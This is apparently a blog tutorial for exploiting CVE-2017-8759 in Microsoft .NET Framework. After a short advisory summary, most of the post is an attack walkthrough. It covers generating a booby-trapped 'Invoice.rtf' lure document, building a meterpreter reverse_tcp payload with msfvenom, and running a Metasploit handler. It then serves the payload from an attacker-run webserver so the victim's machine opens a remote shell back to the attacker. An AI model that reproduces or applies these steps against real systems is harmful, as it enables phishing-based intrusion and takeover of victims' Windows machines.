Microsoft CVE-2017-8759: .NET Framework Remote Code Execution Vulnerability

Microsoft CVE-2017-8759: .NET Framework Remote Code Execution Vulnerability

A remote code execution vulnerability exists when Microsoft .NET Framework processes untrusted input. An attacker who successfully exploited this vulnerability in software using the .NET framework could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.

Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.

To exploit the vulnerability, an attacker would first need to convince the user to open a malicious document or application. The security update addresses the vulnerability by correcting how .NET validates untrusted input.

There is a python script available to take advantage of this exploit; as well as embedding a Metasploit payload. GitHub link to the exploit: click here.


git clone
cd CVE-2017-8759
chmod +x

That has downloaded the python script and set it as executable. Lets start by generating the malicious document:

python -M gen -w Invoice.rtf -u

In a new terminal, generate the payload and start the Metasploit handler.

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe > /tmp/shell.exe
msfconsole -x “use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST; run”

This should open a Metasploit session and start listening for incoming connections on IP and Port 4444.

Adjust these to match your attacking machine. Now all that’s needed is a place for the target to download the payload; running the python script again will create a webserver and deliver the payload:

python -M exp -e -l /tmp/shell.exe

If all has gone to plan and the target has ran the Invoice.rtf file generated then you should have a meterpreter reverse_tcp session open to the target.

Almost every version of Windows is affected by this; you can read more information about this from Microsoft by clicking here.

Leave a Comment